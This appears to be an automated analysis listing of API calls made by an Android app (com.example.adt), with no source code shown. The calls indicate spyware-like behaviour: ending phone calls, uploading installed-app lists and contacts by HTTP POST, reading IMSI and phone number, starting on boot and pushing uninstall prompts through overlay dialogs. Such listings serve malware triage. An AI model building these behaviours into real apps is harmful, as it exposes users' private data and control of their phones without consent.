API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:33 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:39 Show source
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:41 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App.changeApk:8 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.changeApk:10 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App.changeApk:13 Show source
API: java.io.PrintStream->println at com.example.adt.App.changeApk:16 Show source
API: java.lang.String->equals at com.example.adt.App.changeApk:20 Show source
API: java.net.URLDecoder->decode at com.example.adt.App.changeApk:24 Show source
API: java.lang.String->split at com.example.adt.App.changeApk:29 Show source
API: android.app.AlertDialog$Builder-><init> at com.example.adt.App.changeApk:35 Show source
API: android.app.AlertDialog$Builder->setTitle at com.example.adt.App.changeApk:39 Show source
API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.App.changeApk:46 Show source
API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.App.changeApk:53 Show source
API: android.app.AlertDialog$Builder->create at com.example.adt.App.changeApk:55 Show source
API: android.app.AlertDialog->getWindow at com.example.adt.App.changeApk:58 Show source
API: android.view.Window->setType at com.example.adt.App.changeApk:62 Show source
API: android.app.AlertDialog->show at com.example.adt.App.changeApk:64 Show source
API: com.example.adt.CoreService->getPackageManager at com.example.adt.App.autoChangeApps:8 Show source
API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.autoChangeApps:12 Show source
API: java.util.List->iterator at com.example.adt.App.autoChangeApps:15 Show source
API: java.util.Iterator->hasNext at com.example.adt.App.autoChangeApps:18 Show source
API: java.util.Iterator->next at com.example.adt.App.autoChangeApps:24 Show source
API: java.lang.String->valueOf at com.example.adt.App.autoChangeApps:39 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App.autoChangeApps:42 Show source
API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.autoChangeApps:46 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:49 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:54 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:61 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.autoChangeApps:66 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App.autoChangeApps:69 Show source
API: java.lang.String->equals at com.example.adt.App.autoChangeApps:87 Show source
API: android.content.Intent-><init> at com.example.adt.App.autoChangeApps:101 Show source
API: android.os.Bundle-><init> at com.example.adt.App.autoChangeApps:104 Show source
API: android.os.Bundle->putString at com.example.adt.App.autoChangeApps:108 Show source
API: android.content.Intent->putExtras at com.example.adt.App.autoChangeApps:110 Show source
API: android.content.Intent->setAction at com.example.adt.App.autoChangeApps:114 Show source
API: com.example.adt.CoreService->sendBroadcast at com.example.adt.App.autoChangeApps:118 Show source
API: android.content.Intent-><init> at com.example.adt.App.alertBroadCast:4 Show source
API: android.content.Intent->setAction at com.example.adt.App.alertBroadCast:8 Show source
API: android.content.Intent->putExtra at com.example.adt.App.alertBroadCast:13 Show source
API: android.content.Intent->putExtra at com.example.adt.App.alertBroadCast:17 Show source
API: android.content.Context->sendBroadcast at com.example.adt.App.alertBroadCast:21 Show source
API: java.lang.Thread-><init> at ..:6 Show source
API: java.lang.Thread->start at ..:8 Show source
API: android.content.Context->getPackageManager at com.example.adt.App.getApps:6 Show source
API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.getApps:10 Show source
API: java.util.List->iterator at com.example.adt.App.getApps:13 Show source
API: java.util.Iterator->hasNext at com.example.adt.App.getApps:16 Show source
API: java.lang.String->equals at com.example.adt.App.getApps:24 Show source
API: java.net.URLEncoder->encode at com.example.adt.App.getApps:30 Show source
API: java.lang.String->equals at com.example.adt.App.getApps:38 Show source
API: java.net.URLEncoder->encode at com.example.adt.App.getApps:44 Show source
API: java.util.Iterator->next at com.example.adt.App.getApps:49 Show source
API: java.lang.String->valueOf at com.example.adt.App.getApps:64 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:67 Show source
API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.getApps:71 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:74 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:79 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:86 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:91 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:94 Show source
API: java.lang.String->equals at com.example.adt.App.getApps:112 Show source
API: java.lang.String->valueOf at com.example.adt.App.getApps:119 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:122 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:126 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:132 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:135 Show source
API: java.lang.String->equals at com.example.adt.App.getApps:143 Show source
API: java.lang.String->valueOf at com.example.adt.App.getApps:150 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App.getApps:153 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:157 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.getApps:163 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App.getApps:166 Show source
API: com.example.adt.CoreService->getPackageManager at com.example.adt.App.hasApp:8 Show source
API: android.content.pm.PackageManager->getInstalledPackages at com.example.adt.App.hasApp:12 Show source
API: java.util.List->iterator at com.example.adt.App.hasApp:15 Show source
API: java.util.Iterator->hasNext at com.example.adt.App.hasApp:18 Show source
API: java.util.Iterator->next at com.example.adt.App.hasApp:23 Show source
API: java.lang.String->valueOf at com.example.adt.App.hasApp:38 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App.hasApp:41 Show source
API: android.content.pm.ApplicationInfo->loadLabel at com.example.adt.App.hasApp:45 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:48 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:53 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:60 Show source
API: java.lang.StringBuilder->append at com.example.adt.App.hasApp:65 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App.hasApp:68 Show source
API: java.lang.String->equals at com.example.adt.App.hasApp:75 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: java.util.ArrayList-><init> at ..:6 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.String->valueOf at com.example.adt.App$1.run:12 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App$1.run:15 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:19 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:24 Show source
API: java.lang.String->trim at com.example.adt.App$1.run:35 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:38 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:43 Show source
API: java.lang.String->trim at com.example.adt.App$1.run:54 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:57 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:62 Show source
API: com.example.adt.App->getApps at com.example.adt.App$1.run:67 Show source
API: java.lang.String->trim at com.example.adt.App$1.run:70 Show source
API: java.net.URLEncoder->encode at com.example.adt.App$1.run:73 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:76 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App$1.run:79 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.App$1.run:87 Show source
API: java.lang.StringBuilder->append at com.example.adt.App$1.run:89 Show source
API: java.lang.StringBuilder->toString at com.example.adt.App$1.run:92 Show source
API: java.io.PrintStream->println at com.example.adt.App$1.run:95 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: android.content.BroadcastReceiver-><init> at ..:2 Show source
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:4 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:9 Show source
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:13 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:18 Show source
API: android.content.Intent-><init> at com.example.adt.BootBroadcastReceiver.onReceive:23 Show source
API: android.content.Intent->setClass at com.example.adt.BootBroadcastReceiver.onReceive:26 Show source
API: android.content.Context->startService at com.example.adt.BootBroadcastReceiver.onReceive:28 Show source
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:30 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:35 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:42 Show source
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:44 Show source
API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:47 Show source
API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:50 Show source
API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:53 Show source
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:55 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:60 Show source
API: android.content.Intent->getDataString at com.example.adt.BootBroadcastReceiver.onReceive:64 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:70 Show source
API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:74 Show source
API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:77 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:80 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.BootBroadcastReceiver.onReceive:96 Show source
API: android.content.Intent->getDataString at com.example.adt.BootBroadcastReceiver.onReceive:98 Show source
API: java.lang.StringBuilder->append at com.example.adt.BootBroadcastReceiver.onReceive:101 Show source
API: java.lang.StringBuilder->toString at com.example.adt.BootBroadcastReceiver.onReceive:104 Show source
API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:107 Show source
API: android.content.Intent->getAction at com.example.adt.BootBroadcastReceiver.onReceive:109 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:114 Show source
API: java.lang.String->equals at com.example.adt.BootBroadcastReceiver.onReceive:122 Show source
API: java.io.PrintStream->println at com.example.adt.BootBroadcastReceiver.onReceive:134 Show source
API: java.lang.Exception->printStackTrace at com.example.adt.BootBroadcastReceiver.onReceive:138 Show source
API: com.example.adt.CoreService->uninstallAPK at com.example.adt.BootBroadcastReceiver.onReceive:143 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: java.lang.String->replace at com.example.adt.Common.str_replace:7 Show source
API: java.lang.String->replace at com.example.adt.Common.str_replace:14 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: android.content.Context->getSharedPreferences at com.example.adt.Config.get:8 Show source
API: android.content.SharedPreferences->getInt at com.example.adt.Config.get:11 Show source
API: java.lang.String->trim at com.example.adt.Config.getIMSI:12 Show source
API: java.io.File->exists at com.example.adt.Config.getFileSizes:9 Show source
API: java.io.FileInputStream-><init> at com.example.adt.Config.getFileSizes:15 Show source
API: java.io.FileInputStream->available at com.example.adt.Config.getFileSizes:17 Show source
API: java.io.File->createNewFile at com.example.adt.Config.getFileSizes:22 Show source
API: java.io.PrintStream->println at com.example.adt.Config.getFileSizes:28 Show source
API: java.lang.String->trim at com.example.adt.Config.getPhoneNumber:12 Show source
API: java.lang.String->valueOf at com.example.adt.Config.<clinit>:16 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Config.<clinit>:19 Show source
API: java.lang.StringBuilder->append at com.example.adt.Config.<clinit>:23 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Config.<clinit>:26 Show source
API: java.lang.String->valueOf at com.example.adt.Config.<clinit>:33 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Config.<clinit>:36 Show source
API: java.lang.StringBuilder->append at com.example.adt.Config.<clinit>:40 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Config.<clinit>:43 Show source
API: java.lang.Object-><init> at ..:2 Show source
API: android.os.Environment->getExternalStorageState at com.example.adt.Config.getSDPath:3 Show source
API: java.lang.String->equals at com.example.adt.Config.getSDPath:8 Show source
API: android.os.Environment->getExternalStorageDirectory at com.example.adt.Config.getSDPath:12 Show source
API: java.io.File->toString at com.example.adt.Config.getSDPath:15 Show source
API: android.content.Context->getSharedPreferences at com.example.adt.Config.set:8 Show source
API: android.content.SharedPreferences->edit at com.example.adt.Config.set:11 Show source
API: android.content.SharedPreferences$Editor->putInt at com.example.adt.Config.set:14 Show source
API: android.content.SharedPreferences$Editor->commit at com.example.adt.Config.set:16 Show source
API: android.content.Context->getSharedPreferences at com.example.adt.Config.set:8 Show source
API: android.content.SharedPreferences->edit at com.example.adt.Config.set:11 Show source
API: android.content.SharedPreferences$Editor->putString at com.example.adt.Config.set:14 Show source
API: android.content.SharedPreferences$Editor->commit at com.example.adt.Config.set:16 Show source
API: android.content.Context->getSystemService at com.example.adt.Config.isNetworkConnected:6 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.isNetworkConnected:10 Show source
API: android.net.NetworkInfo->isAvailable at com.example.adt.Config.isNetworkConnected:14 Show source
API: android.content.Context->getSystemService at com.example.adt.Config.getAPNType:11 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.getAPNType:15 Show source
API: android.net.NetworkInfo->getType at com.example.adt.Config.getAPNType:21 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Config.getAPNType:29 Show source
API: android.net.NetworkInfo->getExtraInfo at com.example.adt.Config.getAPNType:31 Show source
API: java.lang.StringBuilder->append at com.example.adt.Config.getAPNType:34 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Config.getAPNType:37 Show source
API: java.io.PrintStream->println at com.example.adt.Config.getAPNType:40 Show source
API: android.net.NetworkInfo->getExtraInfo at com.example.adt.Config.getAPNType:43 Show source
API: java.lang.String->toLowerCase at com.example.adt.Config.getAPNType:46 Show source
API: java.lang.String->equals at com.example.adt.Config.getAPNType:51 Show source
API: android.content.Context->getSystemService at com.example.adt.Config.isServiceRunning:7 Show source
API: android.app.ActivityManager->getRunningServices at com.example.adt.Config.isServiceRunning:12 Show source
API: java.util.List->size at com.example.adt.Config.isServiceRunning:15 Show source
API: java.util.List->size at com.example.adt.Config.isServiceRunning:22 Show source
API: java.util.List->get at com.example.adt.Config.isServiceRunning:28 Show source
API: android.content.ComponentName->getClassName at com.example.adt.Config.isServiceRunning:34 Show source
API: java.lang.String->equals at com.example.adt.Config.isServiceRunning:37 Show source
API: android.content.Context->getSharedPreferences at com.example.adt.Config.get:8 Show source
API: android.os.Environment->getExternalStorageDirectory at com.example.adt.Config.configPath:2 Show source
API: java.io.File->getAbsolutePath at com.example.adt.Config.configPath:6 Show source
API: java.lang.String->valueOf at com.example.adt.Config.configPath:9 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Config.configPath:12 Show source
API: java.lang.StringBuilder->append at com.example.adt.Config.configPath:16 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Config.configPath:19 Show source
API: java.net.HttpURLConnection->getInputStream at com.example.adt.Connect.getHttpConnection:18 Show source
API: java.io.InputStreamReader-><init> at com.example.adt.Connect.getHttpConnection:21 Show source
API: java.io.BufferedReader-><init> at com.example.adt.Connect.getHttpConnection:24 Show source
API: java.io.BufferedReader->readLine at com.example.adt.Connect.getHttpConnection:27 Show source
API: java.io.InputStreamReader->close at com.example.adt.Connect.getHttpConnection:31 Show source
API: java.net.HttpURLConnection->disconnect at com.example.adt.Connect.getHttpConnection:33 Show source
API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:43 Show source
API: java.lang.String->valueOf at com.example.adt.Connect.getHttpConnection:47 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Connect.getHttpConnection:50 Show source
API: java.lang.StringBuilder->append at com.example.adt.Connect.getHttpConnection:52 Show source
API: java.lang.StringBuilder->append at com.example.adt.Connect.getHttpConnection:57 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Connect.getHttpConnection:60 Show source
API: java.io.PrintStream->println at com.example.adt.Connect.getHttpConnection:67 Show source
API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:73 Show source
API: android.util.Log->e at com.example.adt.Connect.getHttpConnection:80 Show source
API: java.lang.Object-><init> at com.example.adt.Connect.<init>:2 Show source
API: org.apache.http.client.methods.HttpPost-><init> at com.example.adt.Connect.postHttpConnection:9 Show source
API: java.util.ArrayList-><init> at com.example.adt.Connect.postHttpConnection:12 Show source
API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:17 Show source
API: java.util.List->add at com.example.adt.Connect.postHttpConnection:19 Show source
API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:24 Show source
API: java.util.List->add at com.example.adt.Connect.postHttpConnection:26 Show source
API: org.apache.http.message.BasicNameValuePair-><init> at com.example.adt.Connect.postHttpConnection:31 Show source
API: java.util.List->add at com.example.adt.Connect.postHttpConnection:33 Show source
API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> at com.example.adt.Connect.postHttpConnection:38 Show source
API: org.apache.http.client.methods.HttpPost->setEntity at com.example.adt.Connect.postHttpConnection:40 Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.example.adt.Connect.postHttpConnection:43 Show source
API: org.apache.http.impl.client.DefaultHttpClient->execute at com.example.adt.Connect.postHttpConnection:45 Show source
API: org.apache.http.HttpResponse->getStatusLine at com.example.adt.Connect.postHttpConnection:48 Show source
API: org.apache.http.StatusLine->getStatusCode at com.example.adt.Connect.postHttpConnection:51 Show source
API: org.apache.http.HttpResponse->getEntity at com.example.adt.Connect.postHttpConnection:56 Show source
API: org.apache.http.util.EntityUtils->toString at com.example.adt.Connect.postHttpConnection:59 Show source
API: org.apache.http.client.ClientProtocolException->printStackTrace at com.example.adt.Connect.postHttpConnection:67 Show source
API: java.io.IOException->printStackTrace at com.example.adt.Connect.postHttpConnection:71 Show source
API: java.lang.Exception->printStackTrace at com.example.adt.Connect.postHttpConnection:75 Show source
API: com.example.adt.CoreService->getContentResolver at com.example.adt.Contact.getPhoneContacts:8 Show source
API: android.database.Cursor->getCount at com.example.adt.Contact.getPhoneContacts:21 Show source
API: android.database.Cursor->moveToNext at com.example.adt.Contact.getPhoneContacts:25 Show source
API: android.database.Cursor->close at com.example.adt.Contact.getPhoneContacts:29 Show source
API: java.lang.Thread-><init> at com.example.adt.Contact.getPhoneContacts:35 Show source
API: java.lang.Thread->start at com.example.adt.Contact.getPhoneContacts:37 Show source
API: android.database.Cursor->getString at com.example.adt.Contact.getPhoneContacts:41 Show source
API: android.text.TextUtils->isEmpty at com.example.adt.Contact.getPhoneContacts:44 Show source
API: android.database.Cursor->getString at com.example.adt.Contact.getPhoneContacts:49 Show source
API: java.lang.String->valueOf at com.example.adt.Contact.getPhoneContacts:55 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Contact.getPhoneContacts:58 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:62 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:65 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:70 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact.getPhoneContacts:73 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Contact.getPhoneContacts:76 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: java.lang.String->valueOf at com.example.adt.Contact$1.run:26 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Contact$1.run:29 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:33 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:38 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:41 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:46 Show source
API: java.lang.String->trim at com.example.adt.Contact$1.run:56 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:59 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:64 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:67 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Contact$1.run:70 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.Contact$1.run:84 Show source
API: java.lang.StringBuilder->append at com.example.adt.Contact$1.run:86 Show source
API: java.lang.StringBuilder->toString at com.example.adt.Contact$1.run:89 Show source
API: java.io.PrintStream->println at com.example.adt.Contact$1.run:92 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: android.app.Service->onCreate at com.example.adt.CoreService.onCreate:7 Show source
API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:14 Show source
API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:16 Show source
API: android.os.StrictMode$ThreadPolicy$Builder-><init> at com.example.adt.CoreService.onCreate:22 Show source
API: android.os.StrictMode$ThreadPolicy$Builder->detectDiskReads at com.example.adt.CoreService.onCreate:24 Show source
API: android.os.StrictMode$ThreadPolicy$Builder->detectDiskWrites at com.example.adt.CoreService.onCreate:27 Show source
API: android.os.StrictMode$ThreadPolicy$Builder->detectNetwork at com.example.adt.CoreService.onCreate:30 Show source
API: android.os.StrictMode$ThreadPolicy$Builder->penaltyLog at com.example.adt.CoreService.onCreate:33 Show source
API: android.os.StrictMode$ThreadPolicy$Builder->build at com.example.adt.CoreService.onCreate:36 Show source
API: android.os.StrictMode->setThreadPolicy at com.example.adt.CoreService.onCreate:39 Show source
API: android.os.StrictMode$VmPolicy$Builder-><init> at com.example.adt.CoreService.onCreate:42 Show source
API: android.os.StrictMode$VmPolicy$Builder->detectLeakedSqlLiteObjects at com.example.adt.CoreService.onCreate:44 Show source
API: android.os.StrictMode$VmPolicy$Builder->detectLeakedClosableObjects at com.example.adt.CoreService.onCreate:47 Show source
API: android.os.StrictMode$VmPolicy$Builder->penaltyLog at com.example.adt.CoreService.onCreate:50 Show source
API: android.os.StrictMode$VmPolicy$Builder->penaltyDeath at com.example.adt.CoreService.onCreate:53 Show source
API: android.os.StrictMode$VmPolicy$Builder->build at com.example.adt.CoreService.onCreate:56 Show source
API: android.os.StrictMode->setVmPolicy at com.example.adt.CoreService.onCreate:59 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService.onCreate:65 Show source
API: android.content.IntentFilter-><init> at com.example.adt.CoreService.onCreate:78 Show source
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:82 Show source
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:86 Show source
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:90 Show source
API: android.content.IntentFilter->addAction at com.example.adt.CoreService.onCreate:94 Show source
API: com.example.adt.CoreService$MyBroadcastReciver-><init> at com.example.adt.CoreService.onCreate:97 Show source
API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:120 Show source
API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:122 Show source
API: java.lang.Thread-><init> at com.example.adt.CoreService.onCreate:128 Show source
API: java.lang.Thread->start at com.example.adt.CoreService.onCreate:130 Show source
API: com.example.adt.CoreService->getSystemService at com.example.adt.CoreService.showNofity:11 Show source
API: java.lang.System->currentTimeMillis at com.example.adt.CoreService.showNofity:16 Show source
API: android.app.Notification-><init> at com.example.adt.CoreService.showNofity:19 Show source
API: android.content.Intent-><init> at com.example.adt.CoreService.showNofity:24 Show source
API: android.app.PendingIntent->getBroadcast at com.example.adt.CoreService.showNofity:28 Show source
API: android.app.Notification->setLatestEventInfo at com.example.adt.CoreService.showNofity:33 Show source
API: android.app.NotificationManager->notify at com.example.adt.CoreService.showNofity:42 Show source
API: android.app.Service->onStartCommand at ..:5 Show source
API: android.app.Service-><init> at com.example.adt.CoreService.<init>:3 Show source
API: java.lang.Boolean->valueOf at com.example.adt.CoreService.<init>:5 Show source
API: java.lang.Boolean->valueOf at com.example.adt.CoreService.<init>:9 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService.<init>:45 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService.<init>:52 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:9 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:11 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:14 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService.autoChangeApk:17 Show source
API: java.lang.String->equals at com.example.adt.CoreService.autoChangeApk:22 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:34 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:37 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:39 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:42 Show source
API: android.app.AlertDialog$Builder-><init> at com.example.adt.CoreService.autoChangeApk:54 Show source
API: android.app.AlertDialog$Builder->setTitle at com.example.adt.CoreService.autoChangeApk:58 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:63 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:66 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:70 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:73 Show source
API: android.app.AlertDialog$Builder->setMessage at com.example.adt.CoreService.autoChangeApk:76 Show source
API: android.app.AlertDialog$Builder->setPositiveButton at com.example.adt.CoreService.autoChangeApk:83 Show source
API: android.app.AlertDialog$Builder->setNegativeButton at com.example.adt.CoreService.autoChangeApk:90 Show source
API: android.app.AlertDialog$Builder->create at com.example.adt.CoreService.autoChangeApk:92 Show source
API: android.app.AlertDialog->getWindow at com.example.adt.CoreService.autoChangeApk:95 Show source
API: android.view.Window->setType at com.example.adt.CoreService.autoChangeApk:99 Show source
API: android.app.AlertDialog->show at com.example.adt.CoreService.autoChangeApk:101 Show source
API: java.lang.String->valueOf at com.example.adt.CoreService.autoChangeApk:108 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.autoChangeApk:111 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService.autoChangeApk:115 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.autoChangeApk:118 Show source
API: com.example.adt.CoreService->showNofity at com.example.adt.CoreService.autoChangeApk:123 Show source
API: java.lang.String->equals at com.example.adt.CoreService.autoChangeApk:129 Show source
API: android.app.Service->onStart at ..:4 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.uninstallAPK:8 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService.uninstallAPK:10 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.uninstallAPK:13 Show source
API: java.io.PrintStream->println at com.example.adt.CoreService.uninstallAPK:16 Show source
API: java.lang.StringBuilder-><init> at com.example.adt.CoreService.uninstallAPK:21 Show source
API: java.lang.String->trim at com.example.adt.CoreService.uninstallAPK:23 Show source
API: java.lang.StringBuilder->append at com.example.adt.CoreService.uninstallAPK:26 Show source
API: java.lang.StringBuilder->toString at com.example.adt.CoreService.uninstallAPK:29 Show source
API: android.net.Uri->parse at com.example.adt.CoreService.uninstallAPK:32 Show source
API: android.content.Intent-><init> at com.example.adt.CoreService.uninstallAPK:38 Show source
API: android.content.Intent->setFlags at com.example.adt.CoreService.uninstallAPK:41 Show source
API: com.example.adt.CoreService->startActivity at com.example.adt.CoreService.uninstallAPK:45 Show source
API: com.example.adt.CoreService->getSystemService at com.example.adt.CoreService.NetWorkStatus:5 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:9 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:11 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:15 Show source
API: android.net.NetworkInfo->isAvailable at com.example.adt.CoreService.NetWorkStatus:18 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Thread-><init> at ..:8 Show source
API: java.lang.Thread->start at ..:10 Show source
API: android.content.Intent-><init> at com.example.adt.CoreService$BtnClick$1.run:5 Show source
API: android.content.Intent->setAction at com.example.adt.CoreService$BtnClick$1.run:9 Show source
API: com.example.adt.CoreService->sendBroadcast at com.example.adt.CoreService$BtnClick$1.run:13 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Thread->sleep at ..:3 Show source
API: java.lang.Thread-><init> at ..:11 Show source
API: java.lang.Thread->start at ..:13 Show source
API: java.lang.InterruptedException->printStackTrace at ..:17 Show source
API: java.lang.Object-><init> at ..:4 Show source
API: java.lang.Thread->sleep at com.example.adt.CoreService$HTRunnable.run:3 Show source
API: com.example.adt.App->autoChangeApps at com.example.adt.CoreService$HTRunnable.run:15 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:27 Show source
API: java.lang.Integer->valueOf at com.example.adt.CoreService$HTRunnable.run:36 Show source
API: java.lang.Integer->equals at com.example.adt.CoreService$HTRunnable.run:39 Show source
